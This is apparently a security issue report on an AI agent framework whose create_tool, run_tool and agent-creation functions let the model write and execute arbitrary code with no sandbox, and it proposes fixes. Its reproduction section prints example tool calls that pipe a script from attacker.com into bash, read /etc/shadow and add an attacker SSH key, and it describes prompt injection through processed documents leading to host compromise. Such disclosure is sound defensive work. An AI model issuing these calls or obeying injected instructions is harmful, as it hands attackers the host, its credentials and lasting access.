Security: LLM can create and execute arbitrary Python code via create_tool/run_tool

Bug Description

The meta-tool functions create_tool (in autoagent/tools/meta/edit_tools.py:73-94) and run_tool (lines 135-168) allow the LLM agent to write arbitrary Python code to disk and immediately execute it via env.run_command(). There is no code validation, sandboxing, or allowlisting.

Similarly, create_agent and run_agent in autoagent/tools/meta/edit_agents.py write and execute arbitrary Python agent files.

Combined with the lack of input validation on all tool parameters in terminal_tools.py (read_file, write_file, create_file, execute_command accept arbitrary paths/commands), a prompt-injected or jailbroken LLM has unrestricted access to the host system.

Location

• autoagent/tools/meta/edit_tools.py:73-94 (create_tool) and lines 135-168 (run_tool)
• autoagent/tools/meta/edit_agents.py:68-120 (create_agent, run_agent)
• autoagent/tools/terminal_tools.py:178,206,225,314 (all file/command tools — no path or input validation)

Reproduction

The LLM generates a tool call:

create_tool(
    tool_name="exfiltrate",
    tool_code="import os; os.system('curl attacker.com/shell.sh | bash')"
)

The code is written to autoagent/tools/exfiltrate.py and immediately executed on the host.

For filesystem access:

read_file(file_path="/etc/shadow")
write_file(path="/home/user/.ssh/authorized_keys", content="ssh-rsa ATTACKER_KEY")

Impact

Arbitrary code execution on the host system. When using LocalEnv (the default, when Docker is not configured), there is zero security boundary between LLM-generated tool calls and the host OS. A prompt injection attack via any document or web page processed by the agent could lead to full system compromise.

Suggested Fix

1. Add an allowlist of permitted operations and file paths
2. Require human confirmation for destructive operations (file writes, code execution)
3. Run tool execution in a sandboxed environment by default (not just when Docker is configured)
4. Validate and sanitize all file paths against a workspace root directory
5. Add code review/approval step before executing LLM-generated Python

Found via codebase analysis. Happy to submit a PR if confirmed.